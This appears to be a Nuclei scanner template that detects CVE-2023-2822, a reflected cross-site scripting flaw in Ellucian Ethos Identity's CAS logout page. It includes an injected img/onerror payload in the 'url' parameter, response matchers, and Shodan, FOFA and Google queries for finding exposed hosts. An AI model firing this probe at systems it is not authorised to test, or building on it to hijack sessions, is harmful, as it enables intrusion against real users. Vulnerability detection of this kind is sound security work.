id: CVE-2023-2822

info:
  name: Ellucian Ethos Identity CAS - Cross-Site Scripting
  author: Guax1
  severity: medium
  description: |
    A vulnerability was found in Ellucian Ethos Identity up to 5.10.5. It has been classified as problematic. Affected is an unknown function of the file /cas/logout. The manipulation of the argument url leads to cross site scripting. It is possible to launch the attack remotely.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrading to version 5.10.6 is able to address this issue. It is recommended to upgrade the affected component.
  reference:
    - https://medium.com/@cyberninja717/685bb1675dfb
    - https://medium.com/@cyberninja717/reflected-cross-site-scripting-vulnerability-in-ellucian-ethos-identity-cas-logout-page-685bb1675dfb
    - https://vuldb.com/?ctiid.229596
    - https://vuldb.com/?id.229596
    - https://github.com/cberman/CVE-2023-2822-demo
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2822
    cwe-id: CWE-79
    epss-score: 0.03301
    epss-percentile: 0.87294
    cpe: cpe:2.3:a:ellucian:ethos_identity:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ellucian
    product: ethos_identity
    shodan-query:
      - html:"Ellucian Company"
      - http.html:"ellucian company"
    fofa-query: body="ellucian company"
    google-query: "login with ellucian ethos identity"
  tags: cve2023,cve,cas,xss,ellucian,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/cas/logout?url=https://oast.pro"><img%20src=x%20onerror=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'Identity Server'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100880705c037f8883ce26931ba90111d89df7bd7cb7477755fe4277f4ef054256702204b93ae04280f67067d3abea926d80b2e176af21238f2b59599feb1bfe3bb18bf:922c64590222798bb761d5b6d8e72950